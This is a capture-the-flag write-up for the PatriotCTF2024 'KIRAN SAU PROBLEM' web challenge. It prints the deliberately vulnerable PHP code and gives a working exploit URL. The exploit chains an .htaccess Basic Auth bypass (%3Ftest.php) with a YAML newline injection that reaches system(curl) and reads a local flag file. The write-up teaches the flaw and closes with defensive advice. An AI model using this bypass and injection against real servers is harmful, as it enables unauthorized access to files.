PatriotCTF2024 web/kiran sau problem
My solution for PatriotCTF2024 web/KIRAN SAU PROBLEM challenge
Challenge overview
The KIRAN SAU PROBLEM challenge presents a simple PHP web application with some configuration files, crontab and .htaccess file.
Application structure
1
2
3
4
5
6
7
8
9
10
11
12
├── conf-files
│ ├── .htaccess
│ ├── 000-default.conf
│ ├── apache.conf
│ ├── cron.conf
│ ├── crontab
│ └── php-fpm.conf
├── php-files
│ ├── challenge.php
│ └── index.php
├── docker-compose.yaml
└── Dockerfile
Analysis
Upon accessing the challenge URL, we encounter a basic PHP application with limited information.
.htaccess
1
2
3
4
5
6
<Files "challenge.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
This configuration restricts access to challenge.php
using Basic Authentication, hinting at a potential bypass strategy.
challenge.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<html>
<head>
<title>Kiran Sau Problem</title>
</head>
</html>
<?php
$input = $_GET['country'];
$url = $_GET['url'];
$countryList = array(
"AF" => "Afghanistan", "AL" => "Albania", "DZ" => "Algeria", "AS" => "American Samoa",
... and so on... );
$countryList = array_flip($countryList);
$yaml = <<<EOF
- country: $input
- country_code: $countryList[$input]
EOF;
if (empty($yaml)) die("No YAML data provided");
$parsed_arr = yaml_parse($yaml);
$cc = $parsed_arr[1]['country_code'];
if (!$parsed_arr) echo "Error parsing YAML".'<br>';
if (!$input) die("No country code provided");
if (isset($input)) {
if (array_key_exists($parsed_arr[0]['country'], $countryList)) {
echo "The country code for ".$parsed_arr[0]['country']." is ". $cc.'<br>';
run($cc, $url);
} else {
die("Country not found");
return;
}
}
function run($cc, $url) {
echo "Country code: ".$cc."<br>";
if (!$cc) {
system(escapeshellcmd('curl '.$url));
}
return;
}
000-default.conf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
<Directory "/var/www/html">
AllowOverride All
</Directory>
<FilesMatch \.php$>
AddType application/x-httpd-php .php
SetHandler "proxy:fcgi://localhost:9000"
</FilesMatch>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
Identifying the vulnerabilities
Basic Authentication bypass
The .htaccess
file secures challenge.php
with Basic Authentication. However, I discovered a clever way to bypass this protection by manipulating the URL: http://chal.competitivecyber.club:8090/challenge.php%3Ftest.php
More about this here:
Link 1
Link 2
Quick explanation
By appending %3Ftest.php
(URL-encoded ?test.php
) to challenge.php
, the server misinterprets the request, potentially bypassing the .htaccess restrictions and allowing access without authentication.
YAML Injection to Command Execution
The core vulnerability lies within the handling of user inputs country and url in challenge.php
.
User inputs:
country
: expected to be a country code(e.g., “US”)url
: a url to be used in asystem
command
YAML construction:
1
2
3
4
$yaml = <<<EOF
- country: $input
- country_code: $countryList[$input]
EOF;
This YAML string is constructed using direct user input without proper sanitization, allowing for YAML injection.
YAML parsing:
1
2
$parsed_arr = yaml_parse($yaml);
$cc = $parsed_arr[1]['country_code'];
Conditional execution:
1
2
3
if (!$cc) {
system(escapeshellcmd('curl '.$url));
}
If country_code
is empty, the application executes a curl
command with the provided url.
By injecting a newline character into the country
parameter, we can manipulate the YAML structure, making country_code
empty and triggering the system
call with a controlled url.
Crafting the exploit
Bypassing Basic Authentication
Utilize the URL-encoding trick to accesschallenge.php
without providing valid credentials:http://chal.competitivecyber.club:8090/challenge.php%3Ftest.php
Exploiting YAML Injection
Make$cc
empty to trigger thesystem
call, then inject a newline character into thecountry
parameter to alter the YAML structure.- Payload construction:
1 2
country = Azerbaijan%0A-%20country_code:%20 url = file:///get-here/flag.txt
- Final exploit URL
1
http://chal.competitivecyber.club:8090/challenge.php%3Ftest.php?country=Azerbaijan%0A-%20country_code:%20&url=file:///get-here/flag.txt
Breakdown
Azerbaijan%0A-%20country_code:%20
- this alters the YAML to:
1
2
- country: Azerbaijan
- country_code:
As a result, $parsed_arr[1]['country_code']
becomes empty (null
).
Since $cc
is empty, the condition if (!$cc)
is satisfied. The application executes:
1
system(escapeshellcmd('curl file:///get-here/flag.txt'));
Flag:
PCTF{Kiran_SAU_Manifested}
Conclusion
By analyzing the application’s handling of user inputs and leveraging YAML injection, we successfully bypassed Basic Authentication and executed arbitrary command to retrieve the flag. This challenge underscores the critical importance of input validation and secure coding practices in web applications.
Key takeaways
- Importance of proper URL parsing: Ensuring that authentication mechanisms correctly parse and validate URLs can prevent such bypass attempts.
- Sanitize and validate inputs: Always sanitize user inputs, especially when they are used to construct data structures or commands.
- Use safe parsing methods: Utilize parsing libraries and functions that handle input safely and avoid exposing internal logic to user manipulation.
- Avoid direct command execution: Refrain from using functions like
system
,exec
, orshell_exec
with user inputs.